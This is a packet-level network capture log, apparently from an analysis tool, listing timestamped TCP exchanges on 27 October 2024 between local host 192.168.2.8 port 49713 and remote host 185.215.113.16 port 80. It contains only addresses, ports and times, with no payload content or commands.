Oct 27, 2024 17:55:24.067506075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.067519903 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.067570925 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.110486984 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.110511065 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.110528946 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.110555887 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.110585928 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.111718893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.111871004 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.111886978 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.111934900 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112154961 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112179995 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112195969 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112198114 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112211943 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112227917 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112237930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112268925 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112271070 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112284899 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112301111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112330914 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112354994 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112371922 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112386942 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112402916 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112416029 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112418890 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112448931 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112462997 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112505913 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112533092 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112559080 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112581015 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112603903 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112608910 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112623930 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112636089 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112638950 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112653971 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112663984 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112668991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112694025 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112706900 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112724066 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112757921 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112761974 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112776995 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112791061 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112807035 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112826109 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112834930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112848043 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112862110 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112891912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112893105 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112907887 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112938881 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.112947941 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.112963915 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113004923 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113013029 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.113020897 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113035917 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113050938 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113054037 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.113091946 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113096952 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.113104105 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.113137007 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146449089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146483898 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146522999 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146526098 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146555901 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146570921 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146573067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146589994 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146611929 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146639109 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146653891 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146670103 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146682978 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146697044 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146714926 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146720886 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146734953 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146759033 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146775007 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146780014 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146790981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146821976 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146825075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146842003 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.146842003 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146856070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.146895885 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.147643089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.147655964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.147670031 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.147697926 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.147742987 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.147753000 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.147981882 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.147998095 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148010969 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148055077 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148081064 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148312092 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148327112 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148354053 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148367882 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148384094 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148386955 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148400068 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148412943 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148454905 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148596048 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148608923 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148623943 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148639917 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148648024 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148654938 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148672104 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148679972 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148719072 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.148895979 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148910999 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.148931980 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.149003983 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.149018049 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.149033070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.149048090 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.149065018 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.149087906 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.149130106 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183500051 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183526039 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183542967 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183558941 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183573008 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183574915 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183592081 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183599949 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183609009 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183623075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183657885 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183681965 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183691025 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183697939 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183733940 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183736086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183751106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183767080 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183780909 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183798075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183803082 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183813095 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183830023 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183831930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183849096 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183861971 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183888912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183897972 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183904886 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183919907 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183937073 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183943033 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.183954000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183969975 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183984995 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.183993101 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184015036 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184016943 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184035063 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184050083 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184075117 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184096098 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184675932 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184693098 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184709072 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184726000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184736013 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184742928 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184760094 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184766054 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184776068 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184791088 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184798002 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184808016 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184823036 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184833050 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184839964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184855938 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184864044 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184871912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184886932 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184894085 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184904099 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184920073 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184923887 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184937000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184953928 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.184957981 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.184968948 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.185005903 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.227803946 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.227819920 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.227834940 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.227876902 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.227920055 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229074001 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229089022 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229103088 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229144096 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229420900 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229470968 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229486942 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229501963 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229525089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229540110 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229557037 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229563951 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229599953 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229648113 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229665041 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229696035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229701996 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229711056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229727983 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229734898 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229784966 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229785919 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229859114 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229873896 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229887962 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229903936 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229907990 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229924917 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.229945898 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229960918 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229975939 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.229984045 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230003119 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230012894 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230036020 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230051041 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230065107 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230079889 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230081081 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230097055 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230103016 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230135918 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230236053 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230257034 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230278969 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230293989 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230299950 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230308056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230324030 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230334997 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230355024 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230364084 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230370998 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230384111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230398893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230407000 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230429888 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230438948 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230444908 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230458975 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230484962 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.230552912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.230720043 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.231173992 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264074087 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264092922 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264110088 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264126062 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264132977 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264142990 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264169931 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264189005 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264302015 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264368057 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264384031 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264404058 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264430046 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264431953 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264451981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264465094 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264475107 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264491081 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264494896 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264506102 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264520884 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264537096 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264544964 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264553070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.264576912 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.264591932 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265090942 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265105009 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265119076 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265151024 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265151024 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265192032 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265372038 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265394926 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265409946 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265450001 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265645027 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265661001 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265675068 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265698910 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265712023 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265728951 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265800953 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265815020 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265829086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.265856028 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.265880108 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.266582012 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266597033 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266612053 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266624928 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266639948 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266648054 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.266680002 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266694069 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266707897 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266709089 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.266726971 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266736031 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.266748905 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266752005 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:24.266766071 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:24.266781092 CET	80	49713	185.215.113.16	192.168.2.8
